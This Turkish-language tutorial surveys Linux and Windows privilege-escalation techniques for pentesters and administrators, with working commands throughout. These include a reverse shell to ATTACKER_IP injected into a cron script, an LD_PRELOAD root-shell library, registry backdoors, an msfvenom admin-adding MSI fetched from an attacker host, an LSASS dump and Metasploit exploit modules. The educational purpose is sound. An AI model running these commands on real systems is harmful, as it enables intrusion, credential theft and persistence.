Siber güvenlikte "yetki yükseltme" (privilege escalation), bir kullanıcının mevcut yetkilerinden daha yüksek sistem ayrıcalıkları elde etmesi sürecidir. Bu, sistem ele geçirme, veri sızdırma ya da yatay ve dikey hareketlerle daha fazla sisteme erişim için kritik önemdedir. Hem Windows hem de Linux işletim sistemlerinde çeşitli tekniklerle gerçekleştirilebilir. Bu yazı, sistemlerin mimarisinden kaynaklı zafiyetlerin nasıl kötüye kullanılabileceğini ve sık karşılaşılan tekniklerin nasıl çalıştığını örnek komutlarla birlikte açıklamayı hedefler.

Linux Yetki Yükseltme Teknikleri

1. Sudo Ayrıcalıklarının Kötüye Kullanımı

Bazı kullanıcılar, belirli komutları root yetkisiyle çalıştırabilecek şekilde sudo yapılandırmasına sahiptir. Bu yapılandırmalar yanlış yapıldığında, kullanıcı parolasız şekilde kök yetkili kabuk alabilir.

sudo -l
sudo /usr/bin/python3 -c 'import os; os.system("/bin/bash")'

2. SUID/SGID Bitlerinin Kötüye Kullanımı

SUID (Set User ID) ve SGID (Set Group ID), programların çalıştırılırken sahibinin yetkilerini almasına olanak tanır. Bu bitlerin yanlış kullanımı, kullanıcıya root yetkileri kazandırabilir.

find / -perm -4000 -type f 2>/dev/null
find / -perm -6000 -type f 2>/dev/null
/usr/bin/find . -exec /bin/bash -p \; -quit

3. Cron Job Manipülasyonu

Cron, belirli zamanlarda çalışacak görevler tanımlar. Eğer cron tarafından çalıştırılan bir dosya herkes tarafından yazılabilir durumdaysa, bu dosyaya zararlı kod eklenebilir.

cat /etc/crontab
ls -l /usr/local/bin/backup_log.sh
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /usr/local/bin/backup_log.sh

4. Capabilities (Yetenekler)

Linux capabilities, programlara sınırlı root özellikleri tanımlar. Ancak yanlış yetenek atanmış programlar istismar edilebilir.

getcap -r / 2>/dev/null
setcap cap_net_bind_service=+ep /usr/bin/vim

5. LD_PRELOAD Manipülasyonu

LD_PRELOAD, çalıştırılacak programlara özel bir kütüphane yüklemeye izin verir. Bu kütüphane ile root yetkili işlemler tetiklenebilir.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0, 0, 0);
    system("/bin/bash");
}
gcc -fPIC -shared -nostartfiles -o /tmp/escalate.so escalate.c
sudo LD_PRELOAD=/tmp/escalate.so /usr/local/bin/target_binary

6. Dirty Pipe Zafiyeti (CVE-2022–0847)

Linux çekirdeğinde bulunan bu hata, salt okunur dosyalara yazılmasına imkân verir. Bu açıkla örneğin /etc/passwd dosyası değiştirilebilir.

uname -r
git clone <repo>
cd CVE-2022-0847-DirtyPipe-Exploits
bash compile.sh
./exploit-1

7. Zafiyetli Servisler: Screen Örneği

Bazı servisler, root yetkili olarak hatalı çalışacak şekilde yapılandırılmış olabilir. Örneğin screen 4.5.0 sürümündeki açıklık ile preload üzerinden root shell alınabilir.

screen -v
./screen_exploit.sh

Windows Yetki Yükseltme Teknikleri

1. Bilgi Toplama

Yetki yükseltme öncesi sistem hakkında bilgi toplamak kritik bir adımdır çünkü hangi tekniklerin uygulanabileceği, sistem konfigürasyonuna bağlıdır. Yetki yükseltme öncesi sistem hakkında bilgi toplamak gerekir. İşletim sistemi, kullanıcılar, servisler ve görevler gibi veriler tespit edilmelidir.

Get-ComputerInfo
Get-LocalUser
Get-NetIPAddress
Get-WmiObject win32_service | select Name, State, PathName

2. Yanlış Yapılandırılmış Hizmetler

Yanlış izinler verilen servisler üzerinden çalıştırılan dosyalar değiştirilebilir ve SYSTEM yetkileri elde edilebilir.

a. Tırnaksız Hizmet Yolu

Boşluk içeren ancak tırnakla çevrilmemiş yollar Windows tarafından ilk eşleşen exe'yi çalıştırmak için kullanılabilir.

Get-WmiObject win32_service | ?{$_.PathName -like '*Program*'}

b. Exe Yazma İzinleri

Kullanıcı bir servis exe dosyasını değiştirebiliyorsa, zararlı kod içeren bir dosya ile değiştirilerek sistem ele geçirilebilir.

get-acl 'C:\Program Files\FilePerms\service.exe'
copy .\reverse.exe 'C:\Program Files\FilePerms\service.exe'
Start-Service svcfileperms

c. Registry Değişikliği

Bazı hizmetlerin başlatma yolları registry üzerinden değiştirilebilir. Bu sayede zararlı bir exe başlatılabilir.

Set-ItemProperty HKLM:\System\CurrentControlSet\Services\svcregistry -name ImagePath -Value 'C:\Users\user\reverse.exe'
Start-Service svcregistry

3. Otomatik Çalışan Programlar

a. Görev Zamanlayıcı

Zamanlanmış görevler, çalıştırdıkları script dosyaları yazılabilir durumdaysa saldırganlar tarafından kullanılabilir.

Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\\Microsoft*"} | Select-Object TaskName, Actions

b. Registry AutoRun

Oturum açıldığında çalışacak programlar registry ile tanımlanabilir. Yazılabilir exe varsa yetki yükseltme sağlanabilir.

Set-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name "backdoor" -Value "C:\Users\user\reverse.exe"

4. AlwaysInstallElevated

Bu ayar aktifleştirildiğinde standart kullanıcılar bile MSI dosyalarını yönetici yetkileriyle çalıştırabilir.

Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer AlwaysInstallElevated
msfvenom -p windows/adduser USER=newadmin PASS=Password123! -f msi -o admin.msi
Invoke-WebRequest -Uri http://ATTACKER_IP:8000/admin.msi -OutFile .\admin.msi
Start-Process .\admin.msi

5. Token ve Yetki Bazlı Saldırılar

Token bazlı saldırılar, bir kullanıcının kendi oturumunun dışında başka bir oturumun veya işlemin güvenlik belirtecini (token) ele geçirerek işlem yapmasına olanak tanır. Özellikle Windows ortamında belirli kullanıcı yetkileri (örneğin SeImpersonatePrivilege, SeDebugPrivilege) sistem işlemlerinin kimliğine bürünmeye imkân verir. Bu saldırı türü, genellikle sistemde yüksek yetkili işlemlerle çalışan servisleri hedef alır ve bu servislerin token'ları kullanılarak SYSTEM düzeyinde yetki elde edilebilir. Tipik senaryolarda PrintSpoofer veya Juicy Potato gibi araçlar kullanılarak hedef sistemde oturumun yetkisi yükseltilir.

a. PrintSpoofer (SeImpersonatePrivilege)

Bu yetki mevcutsa, başka bir sürecin hakları taklit edilerek SYSTEM yetkisi kazanılabilir.

whoami /priv | findstr SeImpersonate
PrintSpoofer.exe -i -c cmd.exe

b. SeDebugPrivilege

Sistem süreçlerine erişim vererek LSASS gibi süreçlerin hafıza dökümleri alınabilir.

procdump64.exe -ma lsass.exe lsass.dmp

c. SeTakeOwnershipPrivilege

Bu yetki, dosya sahipliğini değiştirerek erişilemeyen verileri erişilebilir kılar.

6. Yazılım Açıkları

EternalBlue (MS17–010)

SMB protokolündeki kritik bir zafiyet uzaktan kod çalıştırılmasına yol açar.

msf > use exploit/windows/smb/ms17_010_eternalblue
set RHOST <IP>
run

MS08–067

NetAPI hizmetindeki hata ile Windows XP/2003 sistemlerde uzaktan shell alınabilir.

msf > use exploit/windows/smb/ms08_067_netapi
set RHOST <IP>
exploit

MS16–032

Yerel olarak çalıştırıldığında, oturum açmış kullanıcı için SYSTEM hakları elde edilir.

msf > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION <id>
exploit

Yetki yükseltme; sistemlerdeki yapılandırma hataları, yazılım zafiyetleri ve eksik erişim denetimleriyle mümkün olur. Yukarıda açıklanan Linux ve Windows teknikleri, hem savunma hem de saldırı senaryoları açısından iyi anlaşılmalıdır. Bu bilgiler, sızma testleri gerçekleştiren güvenlik uzmanları kadar sistem yöneticileri için de kritik öneme sahiptir.